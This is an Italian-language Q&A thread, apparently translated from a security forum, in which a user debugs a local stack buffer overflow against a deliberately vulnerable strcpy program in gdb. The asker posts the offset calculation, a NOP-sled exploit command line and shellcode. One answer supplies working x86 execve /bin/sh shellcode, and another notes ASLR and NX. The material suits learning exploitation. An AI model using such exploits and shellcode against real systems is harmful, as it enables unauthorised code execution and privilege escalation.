Buffer Overflow non funziona?

-1

Fondamentalmente sto cercando di sfruttare un overflow del buffer, ma sfortunatamente non riesco a ottenere la shell.

Script buf.c :

#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){
    char buf[500];
    strcpy(buf, argv[1]);
    printf("Entered: %s\n", buf);
    return 0;
}

compilazione come di seguito:

gcc -g buf.c -o buf --no-stack-protector

così precisamente il $ebp deve essere sorvolato di 516 byte, come ho capito che dici? qui di seguito:

gdb:

run $(python -c "print('A'*516)")

a partire da 500 byte fino a quando non ottengo 0x41414141 :

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

il punto di inizio di buffer in $esp è 0xbffff02c :

di seguito è come ho capito:

(gdb) disass main
 Dump of assembler code for function main:
 0x0804844d <+0>:   push   %ebp
 0x0804844e <+1>:   mov    %esp,%ebp
 0x08048450 <+3>:   and    $0xfffffff0,%esp
 0x08048453 <+6>:   sub    $0x210,%esp
 0x08048459 <+12>:  mov    0xc(%ebp),%eax
 0x0804845c <+15>:  add    $0x4,%eax
 0x0804845f <+18>:  mov    (%eax),%eax
 0x08048461 <+20>:  mov    %eax,0x4(%esp)
 0x08048465 <+24>:  lea    0x1c(%esp),%eax
 0x08048469 <+28>:  mov    %eax,(%esp)
 0x0804846c <+31>:  call   0x8048320 <strcpy@plt>
 0x08048471 <+36>:  lea    0x1c(%esp),%eax
 0x08048475 <+40>:  mov    %eax,0x4(%esp)
 0x08048479 <+44>:  movl   $0x8048520,(%esp)
 0x08048480 <+51>:  call   0x8048310 <printf@plt>
 0x08048485 <+56>:  mov    $0x0,%eax
 0x0804848a <+61>:  leave  
 0x0804848b <+62>:  ret    
End of assembler dump.

quindi ho creato un punto di interruzione a break *0x08048475

e poi ha eseguito il programma come:

run $(python -c "print('A'*516)")

e quindi:

(gdb) x/200wx $esp

   0xbffff010:  0xbffff02c  0xbffff436  0x00000001  0x00000000
   0xbffff020:  0x00000001  0xb7fdc1b0  0xb7fff000  0x41414141
   0xbffff030:  0x41414141  0x41414141  0x41414141  0x41414141
   0xbffff040:  0x41414141  0x41414141  0x41414141  0x41414141
   0xbffff050:  0x41414141  0x41414141  0x41414141  0x41414141
   0xbffff060:  0x41414141  0x41414141  0x41414141  0x41414141
   0xbffff070:  0x41414141  0x41414141  0x41414141  0x41414141
   0xbffff080:  0x41414141  0x41414141  0x41414141  0x41414141

   ... more

come puoi vedere il punto di inizio di buffer è 0xbffff02c .

il mio shellcode è:

\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a
\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68

preso da: link

che è 34 byte

quindi 516-34 = 482

e infine l'exploit:

run $(python -c "print('\x90'*482+'\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68'+'\x2c\xf0\xff\xbf')")

e ottengo:

Starting program: /home/pt/buf $(python -c "print('\x90'*482+'\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68'+'\x2c\xf0\xff\xbf')") Entered: ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������0�/�xF0�I�'�Q7�/bin//sh,���

Program received signal SIGSEGV, Segmentation fault. 0x68732f2f in ?? ()

Purtroppo nessuna shell: (

la mia versione di linux: Linux BackboxPTv1 3.11.0-15-generic #23~precise1-Ubuntu SMP Tue Dec 10 16:43:53 UTC 2013 i686 i686 i686 GNU/Linux

    
posta woopi 15.12.2018 - 01:38
fonte

2 risposte

2

guarda il risultato del tuo shellcode:

�xF0�I�'�Q7�/bin//sh,���

perché ci sono due // dopo bin. normalmente dovrebbe essere / bin / sh,

Ho provato il tuo codice con un altro shellcode e ha funzionato.

prova con questo. è 46 byte

\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
    
risposta data 23.12.2018 - 14:40
fonte
0

Al di fuori degli indirizzi di memoria gdb cambiano. Potrebbe esserci protezione ASLR e, a causa di ciò, l'indirizzo a cui provate ad accedere da gdb non è valido ora. Oppure se NX è abilitato lo stack non è affatto eseguibile

    
risposta data 23.12.2018 - 16:02
fonte

Leggi altre domande sui tag